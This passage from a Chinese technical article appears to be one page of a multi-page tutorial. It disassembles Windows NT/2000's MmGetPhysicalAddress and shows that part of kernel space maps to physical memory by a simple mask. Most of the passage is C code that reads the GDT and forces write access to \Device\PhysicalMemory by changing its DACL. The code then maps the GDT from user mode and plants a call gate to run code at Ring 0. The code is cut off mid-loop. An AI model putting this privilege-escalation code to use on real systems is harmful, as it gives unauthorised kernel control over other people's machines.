1374fd 741c jz ntoskrnl!MmGetPhysicalAddress+0x2b (8013751b)
801374ff 8bc6 mov eax,esi
80137501 c1e80c shr eax,0xc
80137504 25ffff0100 and eax,0x1ffff
80137509 6a0c push 0xc
8013750b 59 pop ecx
8013750c e8d3a7fcff call ntoskrnl!_allshl (80101ce4)
80137511 81e6ff0f0000 and esi,0xfff
80137517 03c6 add eax,esi
80137519 eb17 jmp ntoskrnl!MmGetPhysicalAddress+0x57 (80137532)
8013751b 8bc6 mov eax,esi
8013751d c1e80a shr eax,0xa
80137520 25fcff3f00 and eax,0x3ffffc
80137525 2d00000040 sub eax,0x40000000
8013752a 8b00 mov eax,[eax]
8013752c a801 test al,0x1
8013752e 7506 jnz ntoskrnl!MmGetPhysicalAddress+0x44 (80137536)
80137530 33c0 xor eax,eax
80137532 5e pop esi
80137533 c20400 ret 0x4
从这段汇编代码可看出如果线性地址在0x80000000与0xa0000000范围内，只是简单的进行移位操作(位于801374ff-80137519指令间)，并未查页表。我想Microsoft这样安排肯定是出于执行效率的考虑。这也为我们指明了一线曙光，因为GDT表在Windows NT/2000中一般情况下均位于这个区域(我不知道/3GB开关的Windows NT/2000是不是这种情况)。
经过这样的分析，我们就可以只通过用户态程序修改GDT表了。而增加一个CallGate就不是我可以介绍的了，找本Intel手册自己看一看了。具体实现代码如下：
typedef struct gdtr {
short Limit;
short BaseLow;
short BaseHigh;
} Gdtr_t, *PGdtr_t;
ULONG MiniMmGetPhysicalAddress(ULONG virtualaddress)
{
if(virtualaddress<0x80000000||virtualaddress>=0xA0000000)
return 0;
return virtualaddress&0x1FFFF000;
}
BOOL ExecRing0Proc(ULONG Entry,ULONG seglen)
{
Gdtr_t gdt;
__asm sgdt gdt;
ULONG mapAddr=MiniMmGetPhysicalAddress(gdt.BaseHigh<<16U|gdt.BaseLow);
if(!mapAddr) return 0;
HANDLE hSection=NULL;
NTSTATUS status;
OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING objName;
CALLGATE_DESCRIPTOR *cg;
status = STATUS_SUCCESS;
RtlInitUnicodeString(&objName,L"\\Device\\PhysicalMemory");
InitializeObjectAttributes(&objectAttributes,
&objName,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,
NULL,
(PSECURITY_DESCRIPTOR) NULL);
status = ZwOpenSection(&hSection,SECTION_MAP_READ|SECTION_MAP_WRITE,&objectAttributes);
if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&hSection,READ_CONTROL|WRITE_DAC,&objectAttributes);
SetPhyscialMemorySectionCanBeWrited(hSection);
ZwClose(hSection);
status =ZwOpenSection(&hSection,SECTION_MAP_WRITE|SECTION_MAP_WRITE,&objectAttributes);
}
if(status != STATUS_SUCCESS)
{
printf("Error Open PhysicalMemory Section Object,Status:%08X\n",status);
return 0;
}
PVOID BaseAddress;
BaseAddress=MapViewOfFile(hSection,
FILE_MAP_READ|FILE_MAP_WRITE,
0,
mapAddr, //low part
(gdt.Limit+1));
if(!BaseAddress)
{
printf("Error MapViewOfFile:");
PrintWin32Error(GetLastError());
return 0;
}
BOOL setcg=FALSE;
for(cg=(CALLGATE_DESCRIPTOR *)((ULONG)BaseAddress+(gdt.Limit&0xFFF8));(ULONG)cg>(ULONG)BaseAddress;cg--)
if(cg->type == 0){
cg->offset_0_15 = LOWORD(Entry);
cg->selector = 8;
cg->param_count = 0;
cg->some_bits = 0;
cg->type = 0xC; 上一页 [1] [2] [3] 下一页 |
